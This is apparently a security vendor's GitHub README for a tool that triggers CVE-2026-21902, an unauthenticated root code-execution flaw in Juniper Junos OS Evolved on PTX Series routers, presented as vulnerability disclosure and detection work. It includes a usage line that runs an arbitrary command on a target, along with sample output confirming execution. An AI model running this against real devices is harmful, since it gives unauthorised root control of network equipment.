watchtowrlabs/watchtowr-vs-junosevolved-cve-2026-21902
Detection Artifact Generator for Juniper Junos Evolved CVE-2026-21902.
https://github.com/user-attachments/assets/a7d667e1-7636-4097-ab3f-838944cdcccc
See our blog post for technical details.
python .\watchTowr-vs-JunosEvolved-CVE-2026-21902.py 127.0.0.1 -c "id > /var/home/admin/watchTowr.txt"
__ ___ ___________
__ _ ______ _/ |__ ____ | |_\__ ____\____ _ ________
\ \/ \/ \__ \ ___/ ___\| | \| | / _ \ \/ \/ \_ __ \
\ / / __ \| | \ \___| Y | |( <_> \ / | | \/
\/\_/ (____ |__| \___ |___|__|__ | \__ / \/\_/ |__|
\/ \/ \/
watchTowr-vs-JunosEvolved-CVE-2026-21902.py
(*) Juniper JunosEvolved Unauthenticated Remote Code Execution Detection Artifact Generator
- McCaulay (@_mccaulay) of watchTowr (@watchTowrcyber)
CVEs: [CVE-2026-21902]
[+] COMMAND cmd1 created
[+] DAG dag1 created
[+] DAG INSTANCE instance1 created
[+] Config committed...
[#] Waiting for command execution...
[+] Command executed, check the target for results!
This script attempts to detect if Junos Evolved OS & PTX Series is vulnerable to CVE-2026-21902.
This issue affects Junos OS Evolved on PTX Series:
This issue does not affect Junos OS Evolved versions before 25.4R1-EVO.
This issue does not affect Junos OS.
For more information read the advisory Junos OS Evolved: PTX Series: A vulnerability allows a unauthenticated, network-based attacker to execute code as root.
For the latest security research follow the watchTowr Labs Team